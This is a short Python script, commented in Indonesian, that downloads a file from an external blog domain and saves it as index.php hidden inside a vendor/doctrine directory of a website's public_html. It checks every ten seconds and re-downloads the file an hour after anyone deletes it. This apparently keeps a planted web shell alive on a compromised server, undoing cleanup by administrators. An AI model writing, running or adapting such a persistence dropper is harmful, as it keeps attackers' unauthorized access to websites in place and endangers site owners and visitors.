#!/usr/bin/env python3
import os
import time
import subprocess
from datetime import datetime

FILE_URL = "https://sportsfreund-blog.de/om.txt"
SAVE_PATH = "/home/businessschool/public_html/vendor/doctrine/instantiator/src/Doctrine/Instantiator/Exception/index.php"

CHECK_INTERVAL = 10       # detik
RETRY_DELAY    = 3600     # detik (1 jam)

def log(msg):
    print(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}] {msg}", flush=True)

def ensure_parent_dir(path):
    parent = os.path.dirname(path)
    if parent and not os.path.exists(parent):
        log(f"Folder {parent} belum ada. Membuat...")
        os.makedirs(parent, exist_ok=True)

def run_cmd(cmd_list):
    """Kompatibel untuk Python <3.7: kembalikan (exitcode, stdout, stderr) sebagai string."""
    try:
        p = subprocess.Popen(cmd_list, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        out, err = p.communicate()
        out = out.decode(errors="ignore") if out else ""
        err = err.decode(errors="ignore") if err else ""
        return p.returncode, out, err
    except FileNotFoundError:
        return 127, "", "command not found"
    except Exception as e:
        return 1, "", str(e)

def download_with_wget(url, save_path):
    code, out, err = run_cmd(["wget", "-q", "-O", save_path, url])
    if code == 0:
        return True, ""
    return False, err or out

def download_with_curl(url, save_path):
    code, out, err = run_cmd(["curl", "-fsSL", "-o", save_path, url])
    if code == 0:
        return True, ""
    return False, err or out

def download_with_urllib(url, save_path):
    try:
        # Kompatibel dengan Python lama
        import urllib.request as ur
    except ImportError:
        import urllib as ur  # sangat lama
    try:
        with ur.urlopen(url) as resp, open(save_path, "wb") as f:
            f.write(resp.read())
        return True, ""
    except Exception as e:
        return False, str(e)

def download_file(url, save_path):
    """Coba wget -> curl -> urllib. Return True jika sukses."""
    for method_name, method in (
        ("wget", download_with_wget),
        ("curl", download_with_curl),
        ("urllib", download_with_urllib),
    ):
        ok, err = method(url, save_path)
        if ok:
            log(f"File berhasil diunduh ({method_name}) -> {save_path}")
            return True
        else:
            log(f"Gagal dengan {method_name}: {err.strip()}")
    return False

def main():
    ensure_parent_dir(SAVE_PATH)

    # Jika file belum ada saat start → langsung unduh
    if not os.path.exists(SAVE_PATH):
        log("File tidak ditemukan saat start. Mengunduh file...")
        download_file(FILE_URL, SAVE_PATH)

    # Loop utama
    while True:
        if os.path.exists(SAVE_PATH):
            log("File sudah ada. Menunggu file hilang...")
            time.sleep(CHECK_INTERVAL)
            continue

        # File hilang → tunggu 1 jam sebelum unduh
        log("File hilang. Menunggu 1 jam sebelum mengunduh ulang...")
        time.sleep(RETRY_DELAY)

        ensure_parent_dir(SAVE_PATH)
        download_file(FILE_URL, SAVE_PATH)

if __name__ == "__main__":
    main()